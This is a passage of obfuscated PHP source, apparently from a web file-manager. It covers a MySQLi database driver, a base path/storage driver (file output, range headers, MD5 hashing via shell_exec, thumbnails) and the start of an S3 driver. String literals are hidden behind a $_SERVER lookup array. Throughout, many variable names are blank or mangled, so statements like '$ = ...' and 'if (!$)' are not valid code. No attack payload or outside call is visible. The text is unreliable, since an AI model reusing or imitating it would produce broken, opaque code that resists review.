$this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $僊 = array(); if ($this->numRows > 0) { for ($ף = 0; $ף < $this->numRows; $ף++) { $僊[$ף] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $僊; } public function getFields($) { $̡ =& $_SERVER[ʇ]; $޼ = $this->query($̡[944] . $this->parseKey($)); $ = array(); if ($޼) { foreach ($޼ as $ => $􉃻) { $[$􉃻[$̡[31]]] = array($̡[32] => $􉃻[$̡[31]], $̡[33] => $􉃻[$̡[34]], $̡[35] => (bool) ($􉃻[$̡[36]] === $̡[12]), $̡[37] => $􉃻[$̡[38]], $̡[39] => strtolower($􉃻[$̡[40]]) == $̡[41], $̡[42] => strtolower($􉃻[$̡[43]]) == $̡[44]); } } return $; } public function getTables($Ĵ = '') { $ =& $_SERVER[ʇ]; $ɦ = !empty($Ĵ) ? $[946] . $Ĵ . $[947] : $[948]; $ۓ = $this->query($ɦ); $ = array(); if ($ۓ) { foreach ($ۓ as $ => $) { $[$] = current($); } } return $; } public function replace($Đ, $ģ = array()) { $ =& $_SERVER[ʇ]; foreach ($Đ as $ƞ => $٠) { $ۇ = $this->parseValue($٠); if (is_scalar($ۇ)) { $[] = $ۇ; $Ą[] = $this->parseKey($ƞ); } } $Ǖ = $[949] . $this->parseTable($ģ[$[325]]) . $[950] . implode($[50], $Ą) . $[951] . implode($[50], $) . $[952]; return $this->execute($Ǖ); } public function insertAll($›, $΀ = array(), $׆ = false) { $ =& $_SERVER[ʇ]; if (!is_array($›[0])) { return !1; } $킔 = array_keys($›[0]); $ = array(); foreach ($› as $ɘ) { $ = array(); foreach ($ɘ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; } } $[] = $[306] . implode($[50], $) . $[952]; } array_walk($킔, array($this, $[953])); $ = $׆ ? $[954] : $[955]; $׋ = $ . $[956] . $this->parseTable($΀[$[325]]) . $[950] . implode($[50], $킔) . $[957] . implode($[50], $); return $this->execute($׋); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ڒ =& $_SERVER[ʇ]; $this->error = $this->_linkID->errno . $ڒ[4] . $this->_linkID->error; if ($ڒ[12] != $this->queryStr) { $this->error .= LNG($ڒ[48]) . $this->queryStr; } think_trace($this->error, $ڒ[12], $ڒ[49]); return $this->error; } public function escapeString($ō) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ō); } else { return addslashes($ō); } } public function parseKey(&$끼É, $篗 = true) { $ú긐 =& $_SERVER[ʇ]; if ($篗) { $끼É = $this->parseKeyCheck($끼É); } if ($끼É != $ú긐[205] && !preg_match($ú긐[958], $끼É)) { $끼É = $ú긐[431] . trim($끼É, $ú긐[431]) . $ú긐[431]; } return $끼É; } } goto f; D夘: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ =& $_SERVER[ʇ]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($, $_SERVER[ʇ][8]); } return $; } public function iconvApp($ȓ) { return $ȓ; } public function iconvSystem($) { return $; } public function iconvTo($, $, $) { $ƭ =& $_SERVER[ʇ]; if (!$ || !function_exists($ƭ[71])) { return $; } static $س = array(); $ = $ . $ƭ[72] . $ . $ƭ[73] . $; if (isset($س[$])) { return $س[$]; } if (function_exists($ƭ[74])) { $ꑂ = @mb_convert_encoding($, $, $); } else { $ꑂ = @iconv($, $, $); } $ꑂ = $ꑂ ? $ꑂ : $; if (strstr($ꑂ, $ƭ[75])) { $ꑂ = str_replace($ƭ[75], $ƭ[11], $ꑂ); } $س[$ . $ƭ[72] . $ . $ƭ[73] . $] = $ꑂ; $س[$ . $ƭ[72] . $ . $ƭ[73] . $] = $; $س[$ . $ƭ[72] . $ . $ƭ[73] . $ꑂ] = $; $س[$ . $ƭ[72] . $ . $ƭ[73] . $ꑂ] = $ꑂ; return $ꑂ; } public function getPathInner($) { $ = IO::init($); return $->path; } public function getPathOuter($ˍ) { $ =& $_SERVER[ʇ]; $ = strlen(trim($this->pathBase, $[8])); $ˍ = substr(trim($ˍ, $[8]), $); return $this->pathDriver . $[8] . ltrim($ˍ, $[8]); } public function isParentOf($ؙ¤, $Ŧڞ) { $ =& $_SERVER[ʇ]; $ؙ¤ = rtrim(strtolower($ؙ¤), $[8]) . $[8]; $Ŧڞ = rtrim(strtolower($Ŧڞ), $[8]) . $[8]; $ = strpos($Ŧڞ, $ؙ¤) === 0; return $; } public function getType() { $띄 =& $_SERVER[ʇ]; $ = str_replace($띄[76], $띄[12], get_class($this)); return strtolower($); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($ć, $µʯ) { $ =& $_SERVER[ʇ]; $ = rtrim($ć, $[8]) . $[8] . $µʯ; $ս = $this->exist($); return $ս ? $ : !1; } public function setModifyTime($Υ, $ߩ = '') { } public function renameObject($߂, $) { $ؼڸ = $; $߂ = $this->getPathOuter($߂); $ = $this->pathFather($߂) . $; $ۯ͢ = IO::copy($߂, $this->pathFather($߂), REPEAT_RENAME_FOLDER, $ؼڸ); if ($ۯ͢) { IO::remove($߂); } return $ۯ͢ ? $ : !1; } public function tempFile($ܯƪ = '', $Ʒ = '') { if (!$ܯƪ) { $ܯƪ = rand_string(15); } $Ѿ = TEMP_FILES . rand_string(15) . $_SERVER[ʇ][8]; @mkdir($Ѿ, DEFAULT_PERRMISSIONS, !0); $ = $Ѿ . $ܯƪ; @touch($); if ($Ʒ) { file_put_contents($, $Ʒ); } return $; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($놢, $ = '', $莙 = REPEAT_RENAME) { } public function mkdir($܇, $ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($ٛ) { } public function copyFile($Ȉ, $怞) { } public function moveFile($񟠁, $ϧӓ) { } public function remove($޸ߎ) { if ($this->isFile($޸ߎ)) { return $this->delFile($޸ߎ); } return $this->delFolder($޸ߎ); } public function rename($, $湈) { } public function exist($҂) { } public function findByHash($ = '', $ = '') { return !1; } public function isFile($) { } public function isFolder($) { } public function size($ˌ) { } public function info($) { } public function infoSimple($Î) { return $this->info($Î); } public function infoAuth($֮) { return $this->info($֮); } public function infoFull($) { return $this->info($); } public function infoFullSimple($) { return $this->info($); } public function infoWithChildren($) { $ =& $_SERVER[ʇ]; static $ = array(); if (isset($[$])) { return $[$]; } $▜ = $this->info($); if ($▜ && $▜[$[33]] == $[77]) { $ۀ = array($[78] => 0, $[79] => 0, $[80] => 0); $this->infoChildren($, $ۀ); $▜[$[78]] = $ۀ[$[78]]; $▜[$[81]] = array($[82] => $ۀ[$[79]], $[83] => $ۀ[$[80]]); $[$] = $▜; } return $▜; } public function listPath($ٮ, $Ѡ = false) { } public function has($, $赑 = false, $랄 = false) { } public function canRead($) { } public function canWrite($ݘԧ) { } public function getContent($̗) { } public function setContent($Ū, $ؤ = '') { } protected function infoChildren($, &$Œ) { $瞆 =& $_SERVER[ʇ]; check_abort_echo(); $ۨ = $this->listPath($, !0); $ۨ = array_merge($ۨ[$瞆[84]], $ۨ[$瞆[85]]); foreach ($ۨ as $ՠ) { if ($ՠ[$瞆[33]] == $瞆[77]) { $Œ[$瞆[80]]++; $ = $this->getPathInner($ՠ[$瞆[86]]); $this->infoChildren($, $Œ); } else { $Œ[$瞆[79]]++; $Œ[$瞆[78]] += $ՠ[$瞆[78]]; } } } public function fileSubstr($񬜩, $ᐌ, $) { } public function listAll($) { } public function listAllMake($Ԍ, &$͌) { $Ũފ =& $_SERVER[ʇ]; check_abort_echo(); $ۂ = $this->listPath($Ԍ, !0); if (!$ۂ) { return; } $ = array_merge($ۂ[$Ũފ[84]], $ۂ[$Ũފ[85]]); foreach ($ as $) { $׬ = $[$Ũފ[33]] == $Ũފ[77]; $ꍞ = array($Ũފ[86] => $[$Ũފ[86]], $Ũފ[77] => $׬); if (isset($[$Ũފ[78]])) { $ꍞ[$Ũފ[78]] = $[$Ũފ[78]]; } if (isset($[$Ũފ[87]])) { $ꍞ[$Ũފ[87]] = $[$Ũފ[87]]; } if (!$׬) { $͌[] = $ꍞ; continue; } $͌[] = $ꍞ; $ = $[$Ũފ[86]]; $ߡ = $this->pathDriver; if (substr($[$Ũފ[86]], 0, strlen($ߡ)) == $ߡ) { $ = substr($, strlen($ߡ)); } $this->listAllMake($, $͌); } } public function listAllSimple($, $Ŗ = false) { $㙴 = $this->listAll($); return $this->listAllSimpleMake($㙴, $this->getPathOuter($), $Ŗ); } public function listAllSimpleMake($Ʈ, $Ћ, $凉) { $ =& $_SERVER[ʇ]; $у = array(); $Ћ = rtrim(get_path_father($Ћ), $[8]) . $[8]; foreach ($Ʈ as $Ұ) { $樿 = array($[86] => $Ұ[$[86]], $[88] => $Ұ[$[86]], $[77] => $Ұ[$[77]]); if (isset($Ұ[$[78]]) && !$Ұ[$[77]]) { $樿[$[78]] = $Ұ[$[78]]; } if (isset($Ұ[$[87]])) { $樿[$[87]] = $Ұ[$[87]]; } if (is_array($Ұ[$[89]])) { $樿[$[88]] = $Ұ[$[89]][$[86]]; $樿[$[78]] = $Ұ[$[89]][$[78]]; $樿[$[87]] = $Ұ[$[89]][$[87]]; } else { if (substr($Ұ[$[86]], 0, strlen($Ћ)) == $Ћ) { $樿[$[86]] = substr($Ұ[$[86]], strlen($Ћ)); } } $Ǘ = $Ұ[$[77]] ? $[8] : $[12]; $樿[$[88]] = rtrim($樿[$[88]], $[8]) . $Ǘ; $樿[$[86]] = $[8] . trim($樿[$[86]], $[8]) . $Ǘ; if (!$凉) { $ȫ = explode($[8], trim($樿[$[86]], $[8])); $樿[$[86]] = $[8] . implode($[8], array_slice($ȫ, 1)) . $Ǘ; } $у[] = $樿; } return array_sort_by($у, $[86]); } public function upload($Ҕ, $, $͉̱ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($ȿ, $ƺ, $ˈ) { } public function uploadFileByPath($ݶ, $䯌۲, $ܚӘ = array()) { } public function isUploadServer() { $ݜ =& $_SERVER[ʇ]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $ݜ[90]) { return !0; } return $GLOBALS[$ݜ[6]][$ݜ[91]][$ݜ[92]]; } public function isFileOutServer() { $곈 =& $_SERVER[ʇ]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $곈[90]) { return !0; } return $GLOBALS[$곈[6]][$곈[91]][$곈[93]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($ӌȤ) { $ܾ =& $_SERVER[ʇ]; if (!$this->isCdnHost()) { return $ӌȤ; } return str_replace(trim(get_url_root($ӌȤ), $ܾ[8]), trim($this->cdnHost, $ܾ[8]), $ӌȤ); } public function uploadLink($, $›ّ = 0) { $ =& $_SERVER[ʇ]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $م = 1024 * 1024 * 10; $äָ = $›ّ <= $م ? $[94] : $[95]; $ = (!$›ّ ? 1 : ceil($›ّ / pow(1024, 3))) * 3600 * 4; $ = $this->{$äָ}($, $); if ($) { $[$[96]] = $; $[$[97]] = $; } return $; } public function uploadFormData($܅, $ = 3600) { } public function multiUploadFormData($⦧, $ٓˢ = 3600) { } public function download($, $Դ) { } public function ext($) { $Ǚ =& $_SERVER[ʇ]; if (strpos($, $Ǚ[8]) === -1) { $̞ = $; } else { $̞ = $this->pathThis($); } $腽 = $Ǚ[12]; if (strstr($̞, $Ǚ[10])) { $腽 = substr($̞, strrpos($̞, $Ǚ[10]) + 1); $腽 = strtolower($腽); } if (strlen($腽) > 3 && preg_match($Ǚ[98], $腽, $ڛ)) { $腽 = $Ǚ[12]; } return $腽; } public function pathThis($) { $Ѓ =& $_SERVER[ʇ]; $ = str_replace($Ѓ[99], $Ѓ[8], rtrim($, $Ѓ[8])); $Ԥ = strrpos($, $Ѓ[8]); if ($Ԥ === !1) { return $; } return substr($, $Ԥ + 1); } public function pathFather($) { $ =& $_SERVER[ʇ]; $ = str_replace($[99], $[8], rtrim($, $[8])); $ = strrpos($, $[8]); if ($ === !1) { return $[12]; } return substr($, 0, $ + 1); } public function hashSimple($) { $ =& $_SERVER[ʇ]; if (!$) { return md5($[12]); } $ = $this->size($); $ = 200; $ = 50; if ($ <= $ * $) { return $this->hashMd5($) . $; } $࢝ = intval($ / $); $藌 = $[12]; for ($㐇ͮ = 0; $㐇ͮ < $; $㐇ͮ++) { $藌 .= $this->fileSubstr($, $࢝ * $㐇ͮ, $); } $藌 .= $this->fileSubstr($, $ - $, $); return md5($藌) . $; } public static $md5Cache = array(); public function hashMd5($Ѥ) { if (!$Ѥ) { return md5($_SERVER[ʇ][12]); } $Ѥ = $this->iconvSystem($Ѥ); if (isset(self::$md5Cache[$Ѥ])) { return self::$md5Cache[$Ѥ]; } self::$md5Cache[$Ѥ] = $this->hashMd5Shell($Ѥ); if (!self::$md5Cache[$Ѥ]) { self::$md5Cache[$Ѥ] = @md5_file($Ѥ); } return self::$md5Cache[$Ѥ]; } private function hashMd5Shell($捛۲) { $ԕ =& $_SERVER[ʇ]; if (!$捛۲) { return md5($ԕ[12]); } if (!function_exists($ԕ[100])) { return !1; } $ɬ = array($ԕ[101], $ԕ[102]); $ = Cache::get($ԕ[103]); if (!$) { $Ԕ݁ = BASIC_PATH . $ԕ[104]; $廲 = md5_file($Ԕ݁); $ = $ԕ[105]; foreach ($ɬ as $) { $ʂ = shell_exec($ . "\x20\42{$Ԕ݁}\x22"); if ($ʂ && substr(trim($ʂ), 0, 32) == $廲) { $ = $; break; } } Cache::set($ԕ[103], $, 3600); } if ($ == $ԕ[105]) { return !1; } $ʂ = shell_exec($ . "\x20\x22{$捛۲}\42"); $ʂ = str_replace($ԕ[106], $ԕ[12], $ʂ); return substr($ʂ, 0, 32); } public function link($ԍ) { return $ԍ; } public function fileOut($ݚŸ, $ = false, $Ƣ = false, $Ǽ = '') { $λǟ =& $_SERVER[ʇ]; $this->cacheMethod(null, null); if (!$ݚŸ || !$this->exist($ݚŸ)) { show_json(LNG($λǟ[107]), !1, $Ƣ); } $Ι = $this->getType() == $λǟ[108]; $ = $GLOBALS[$λǟ[6]][$λǟ[91]][$λǟ[109]][$λǟ[110]]; $ = (double) $GLOBALS[$λǟ[6]][$λǟ[91]][$λǟ[109]][$λǟ[111]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($ݚŸ); $Ɗ = $[$λǟ[78]]; $ = gmdate($λǟ[112], $[$λǟ[87]]); $ܧԃ = $Ƣ ? $Ƣ : $this->iconvApp($[$λǟ[32]]); $ = 0; $ = $Ɗ - 1; $ = $this->ext($ܧԃ); if (in_array($, array($λǟ[113], $λǟ[114], $λǟ[115], $λǟ[116]))) { $ = $λǟ[117]; } if (in_array($, array($λǟ[118]))) { $ = $λǟ[119]; } if (!$Ǽ) { $Ǽ = md5($ . $Ɗ); } $Ǽ = $λǟ[120] . $Ǽ . $λǟ[120]; $ٝѓ = get_file_mime($); $Տ = !0; $Տ = isset($_GET[$λǟ[121]]) ? !1 : !0; if ($ === !1 && !mime_support($ٝѓ)) { $ٝѓ = $λǟ[122]; } header($λǟ[123]); header($λǟ[124] . $ٝѓ); $κ = rawurlencode($ܧԃ); $κ = $λǟ[120] . $κ . $λǟ[125] . $κ; if ($) { header($λǟ[126]); header($λǟ[127] . $κ); } else { if ($Տ) { header($λǟ[128] . $κ); } } header($λǟ[129] . gmdate($λǟ[112], time() + 3600 * 24 * 30) . $λǟ[130]); header($λǟ[131]); header($λǟ[132]); header($λǟ[133]); if (isset($_SERVER[$λǟ[134]]) && strtotime($_SERVER[$λǟ[134]]) == $[$λǟ[87]]) { header($λǟ[135], !0, 304); die; } if (isset($_SERVER[$λǟ[136]]) && $_SERVER[$λǟ[136]] == $Ǽ) { header($λǟ[137] . $Ǽ, !0, 304); die; } header($λǟ[137] . $Ǽ); header($λǟ[138] . $ . $λǟ[130]); header($λǟ[139] . $ܧԃ); header($λǟ[140]); header($λǟ[141] . $Ɗ); header($λǟ[142]); Hook::trigger($λǟ[143], $ݚŸ, $Ɗ, $ܧԃ, $); if (!$ && $ == $λǟ[144]) { if ($Ɗ > 1024 * 1024 * 5) { die; } $ = $this->getContent($ݚŸ); $ = Html::clearSVG($); header($λǟ[145] . strlen($)); echo $; die; } $ = strtolower($_SERVER[$λǟ[146]]); if ($Ι && $ && $) { if (strstr($, $λǟ[147])) { header($λǟ[148] . $ݚŸ); } else { if (strstr($, $λǟ[149])) { header($λǟ[150] . $ݚŸ); } else { if (strstr($, $λǟ[151])) { header($λǟ[152] . $ݚŸ); } } } if ($) { header($λǟ[153] . $); } return; } if (isset($_SERVER[$λǟ[154]])) { if (preg_match($λǟ[155], $_SERVER[$λǟ[154]], $ݠ)) { $ = intval($ݠ[1]); $ = $ <= 0 ? 0 : ($ >= $ ? $ : $); if (!empty($ݠ[2])) { $þ = intval($ݠ[2]); $ = $þ < $ ? $ : ($þ >= $ ? $ : $þ); } } header($λǟ[156]); header("\103\x6f\156\164\x65\x6e\x74\55\x52\x61\156\x67\145\x3a\40\x62\x79\164\x65\x73\40{$}\55{$}\57" . $Ɗ); } else { header($λǟ[157]); } header($λǟ[158]); $ϖ = !0; if ($_SERVER[$λǟ[159]] == $λǟ[160] && $Ɗ > 1204 * 1024 * 1024 * 2) { $ϖ = !1; } if ($ϖ) { header($λǟ[161] . ($ - $ + 1)); } if ($_SERVER[$λǟ[162]] == $λǟ[163]) { return; } $ڶ = 1024 * 100; $ = 0; if ($) { $ = intval(1000 * 1000 * ($ڶ / $)); } while ($ <= $) { $ҁ = timeFloat(); check_abort(); $Э = $ - $ + 1; if ($Э <= $ڶ) { $ڶ = $Э; } echo $this->fileSubstr($ݚŸ, $, $ڶ); $ += $ڶ; if ($ڶ == $Э) { $ = $ + 1; } if ($) { $ = intval(1000 * 1000 * (timeFloat() - $ҁ)); $ͱ = $ - $; if ($ͱ > 5) { usleep($ͱ); } } } } public function fileOutServer($ũ, $܂ = false, $ = false, $› = '') { $this->fileOut($ũ, $܂, $, $›); } public function fileOutLink($Ƹ) { header($_SERVER[ʇ][164] . $Ƹ); die; } public function cacheMethod($х, $󑬴, $Ծˆ = null) { $ =& $_SERVER[ʇ]; static $ߖ = array(); $ߟ = $󑬴 ? ltrim($this->getPathOuter($󑬴), $[8]) : $[12]; $ᚑ = $[165] . $х . $[166] . rtrim($ߟ, $[8]); if (is_null($х)) { $ߖ = array(); return; } if (is_null($󑬴)) { foreach ($ߖ as $ᚑ => $֍) { if (!strstr($ᚑ, $[165] . $х . $[167])) { continue; } unset($ߖ[$ᚑ]); } return; } if (!is_null($Ծˆ)) { $ߖ[$ᚑ] = $Ծˆ; return; } $Ηד = isset($ߖ[$ᚑ]) ? $ߖ[$ᚑ] : null; if (!is_null($Ηד)) { return $Ηד; } $Ηד = $this->{$х}($󑬴); $ߖ[$ᚑ] = $Ηד; return $Ηד; } public function cacheMethodInfoSet($٘, $Ѡ, $꼹 = false) { $ =& $_SERVER[ʇ]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[168], $٘, $Ѡ); $this->cacheMethod($[169], $٘, $Ѡ ? !1 : !0); if (is_array($꼹)) { $this->cacheMethod($[170], $٘, $꼹); } } public function fileOutImage($, $֐ = 250) { $ =& $_SERVER[ʇ]; set_timeout(); if (substr($, 0, 4) == $[151]) { $this->fileOutLink($); } $͏ = $this->info($); $ߙ = !1; $¼ = isset($GLOBALS[$[171]]) ? $GLOBALS[$[171]] : array(); if ($¼ && $¼[$[172]] == $͏[$[86]]) { $͏ = $¼; $ = $͏[$[173]]; if ($ && isset($[$[174]])) { if ($[$[174]] <= $֐ && $[$[175]] <= $֐) { $ߙ = !0; } } } if ($͏[$[78]] <= 1024 * 50 || $ߙ || !function_exists($[176]) || $͏[$[177]] == $[178]) { return $this->fileOut($, !1, $͏[$[32]]); } $ѣ = kodIO::hashPath($͏); $芠 = "\143\157\x76\x65\x72\x5f{$ѣ}\x5f{$֐}\x2e\x70\x6e\x67"; $ = IO_PATH_SYSTEM_TEMP . $[179]; $ = IO::infoFullSimple($); $̍ = $ && is_array($) ? $[$[86]] : $[12]; if (!$̍) { $̍ = IO::mkdir($); } if ($͏[$[180]] == $[181] && isset($͏[$[182]]) && $͏[$[182]] == kodIO::sourceID($̍)) { $ب = $͏[$[183]]; if ($֐ <= 500) { $҅ = preg_replace($[184], $[185], $͏[$[32]]); $ب = IO::fileNameExist($̍, $҅); } return IO::fileOut(KodIO::make($ب), !1, $͏[$[32]]); } $܌ = IO::fileNameExist($̍, $芠); if ($܌) { return IO::fileOut(KodIO::make($܌), !1, $͏[$[32]]); } if ($֐ > 1000) { $this->makeImageCover($̍, $, $芠, $֐); $this->makeImageCover($̍, $, "\x63\157\x76\x65\162\x5f{$ѣ}\137\62\65\x30\x2e\160\156\147", 250); $܌ = IO::fileNameExist($̍, $芠); if ($܌) { return IO::fileOut(KodIO::make($܌), !1, $͏[$[32]]); } die; } $ = Cache::get($芠); if ($ == $[186] || $ == $[187]) { echo $; die; } Cache::set($芠, $[187], 60); $ = array($̍, $͏[$[86]], $芠, $֐); $҂ˉ = $[188] . $͏[$[78]] . $[189] . $芠 . $[190] . $͏[$[32]] . $[191] . $͏[$[86]]; TaskQueue::add($[192], $, $҂ˉ, $芠); } public function makeImageCover($烗, $, $׌, $ݍ) { $ =& $_SERVER[ʇ]; if (IO::fileNameExist($烗, $׌)) { return $[193]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $ɒ = DATA_THUMB . $׌; del_file($ɒ); $ٙŔ = TEMP_FILES . $׌; if (!@file_exists($ٙŔ)) { $ٙŔ = $this->download($, $ٙŔ); } if (!@file_exists($ٙŔ)) { return $[194]; } ImageThumb::createThumb($ٙŔ, $ɒ, $ݍ, $ݍ * 10); if (@file_exists($ɒ)) { Cache::remove($׌); return IO::move($ɒ, $烗); } Cache::set($׌, $[186], 600); del_file($ɒ); return $[195] . $ٙŔ . $[73]; } public function fileOutImageServer($Ɖ, $ڴ = 250) { $this->fileOutImage($Ɖ, $ڴ); } public function fileNameAuto($җ, $Ǜ, $󢢜 = REPEAT_RENAME, $ = false) { $ =& $_SERVER[ʇ]; $ܔ = $җ === $[12] ? $Ǜ : rtrim($җ, $[8]) . $[8] . $Ǜ; if ($󢢜 == REPEAT_REPLACE || !$this->exist($ܔ) || $ && $󢢜 != REPEAT_RENAME_FOLDER) { return $Ǜ; } if ($󢢜 == REPEAT_SKIP) { return !1; } $ߗ = $[10] . get_path_ext($Ǜ); $ߗ = $ߗ == $[10] || $ ? $[12] : $ߗ; $薺 = 1; $ӕ = substr($Ǜ, 0, strlen($Ǜ) - strlen($ߗ)); $߁ = $ӕ . "\50{$薺}\x29{$ߗ}"; while ($this->exist(rtrim($җ, $[8]) . $[8] . $߁)) { $߁ = $ӕ . "\x28{$薺}\x29{$ߗ}"; $薺++; } return $߁; } private function fileNameAutoList($, $ˈ, $ = false) { $ =& $_SERVER[ʇ]; $ = $this->listPath($, !0); $ = array_merge($[$[84]], $[$[85]]); $ = array_to_keyvalue($, $[12], $[32]); $ع = $[10] . get_path_ext($ˈ); $ع = $ع == $[10] || $ ? $[12] : $ع; $В = substr($ˈ, 0, strlen($ˈ) - strlen($ع)); $̌ = $В . "\x28\60\x29{$ع}"; for ($ = 1; $ <= count($) + 1; $++) { $̌ = $В . "\50{$}\51{$ع}"; if (!in_array_not_case($̌, $)) { return $̌; } } return $̌; } public function listAllFiles($, $) { $̋ =& $_SERVER[ʇ]; if (empty($)) { return array(); } $ٹ = array_keys($); $ = array(); $ = trim($, $̋[8]); foreach ($ as $ => $Ē) { $Ұ = ltrim(substr(trim($, $̋[8]), strlen($)), $̋[8]); if (substr($, -1) == $̋[8]) { $Ұ = rtrim($Ұ, $̋[8]) . $̋[8]; } $ = array_merge($, $this->slicePath($Ұ)); } $ã = array(); foreach (array_unique($) as $) { $ʻ = array($̋[86] => $this->getPathOuter($̋[8] . $ . $̋[8] . $), $̋[77] => 1, $̋[78] => 0); if (substr($, -1) != $̋[8]) { $ʻ[$̋[77]] = 0; $Ծ = $this->getPath($ . $̋[8] . $); if (isset($[$Ծ])) { $̜ = $[$Ծ]; if (isset($̜[$̋[78]])) { $ʻ[$̋[78]] = intval($̜[$̋[78]]); } if (isset($̜[$̋[196]])) { $ʻ[$̋[87]] = intval($̜[$̋[196]]); } } } $ã[] = $ʻ; } return $ã; } public function slicePath($ϔ) { $ɘ =& $_SERVER[ʇ]; $ԿΣ = explode($ɘ[8], trim($ϔ, $ɘ[8])); $، = 0; do { ++$،; $ҁ[] = implode($ɘ[8], array_slice($ԿΣ, 0, $،)) . $ɘ[8]; } while ($، < count($ԿΣ)); $ҁ[count($ԿΣ) - 1] = $ϔ; return $ҁ; } public function getHost() { $ꑱ =& $_SERVER[ʇ]; $ = parse_url(trim($this->domain, $ꑱ[8])); $ = isset($[$ꑱ[197]]) ? $[$ꑱ[197]] : http_type(); $ّ = isset($[$ꑱ[198]]) ? $[$ꑱ[198]] : $[$ꑱ[86]]; if (isset($[$ꑱ[199]])) { $ّ .= $ꑱ[4] . $[$ꑱ[199]]; } return $ . $ꑱ[200] . $ّ; } public function pathEncode($ڜ) { $͎ =& $_SERVER[ʇ]; return str_replace($͎[201], $͎[8], rawurlencode($ڜ)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\64"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($) { set_timeout(); require_once SDK_DIR . $_SERVER[ʇ][202]; parent::__construct(); $this->_init($); } public function _init($ҧ) { $this->config = $ҧ; foreach ($ҧ as $ => $Ϡ) { if (isset($this->{$})) { $this->{$} = $Ϡ; } } $this->endpoint = $ҧ[$_SERVER[ʇ][203]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($畧 = "\x76\64") { $this->signVer = $畧; $this->client->setSignatureVersion($畧); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $޷ =& $_SERVER[ʇ]; $ʥϾ = $this->getBucketCors(); if (!$ʥϾ || !is_array($ʥϾ)) { return !1; } if ($ʥϾ[$޷[204]] != $޷[205] || $ʥϾ[$޷[206]] != $޷[205]) { return !1; } $ڬ = array_map($޷[207], $ʥϾ[$޷[208]]); if (!is_array($ڬ)) { $ڬ = array(); } $ӟ = array($޷[209], $޷[210], $޷[211], $޷[212], $޷[213]); $ݰ = array_diff($ӟ, $ڬ); return empty($ݰ); } public function mkfile($, $ = '', $ċ = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($ć, $뛽 = REPEAT_SKIP) { $ =& $_SERVER[ʇ]; if (empty($ć) && $ć !== $[214]) { return !1; } if ($뛽 && $this->_isFolder($ć)) { return $this->getPathOuter($ć); } $̠ = $this->setContent($ć, $[12], !0); if ($̠ !== !1) { return $this->getPathOuter($ć); } return !1; } public function copyFile($ܒ, $爢, $ = array()) { $ =& $_SERVER[ʇ]; $ߧ = $this->objectMeta($ܒ); if (!$ߧ) { return !1; } if ($ߧ[$[78]] <= 1024 * 1024 * 200) { $޷ = $this->client->copyObject($this->bucket, $ܒ, $this->bucket, $爢, $[215], $); } else { $޷ = $this->client->multiCopyObject($this->bucket, $ܒ, $this->bucket, $爢, $); } $޷ = $޷ ? $this->getPathOuter($爢) : !1; return $޷; } public function moveFile($Ӧ, $) { if ($this->copyFile($Ӧ, $)) { $this->delFile($Ӧ); return $this->getPathOuter($); } return !1; } public function delFile($) { return $this->client->deleteObject($this->bucket, $); } public function delFolder($) { $ͮ =& $_SERVER[ʇ]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $Ց = trim($, $ͮ[8]) . $ͮ[8]; if (!empty($) && $ !== $ͮ[214] && !in_array($Ց, $[$ͮ[84]])) { $[$ͮ[84]][] = $Ց; } $ = $this->delByBatch($[$ͮ[85]]); if (!$) { return !1; } $ = $this->delByBatch($[$ͮ[84]]); if (!$) { return !1; } return $this->delFile($Ց); } private function delByBatch($DZ) { foreach (array_chunk($DZ, 1000) as $ܶ) { $ł = $this->client->deleteObjects($this->bucket, $ܶ); if (!$ł) { return !1; } } return !0; } public function rename($Ԩ, $ʸյ) { return $this->renameObject($Ԩ, $ʸյ); } public function listPath($ѓ, $ַ = false) { $ =& $_SERVER[ʇ]; $뙪 = $this->fileList($ѓ, $[8], !0); foreach ($뙪[$[84]] as $ع => $ے) { 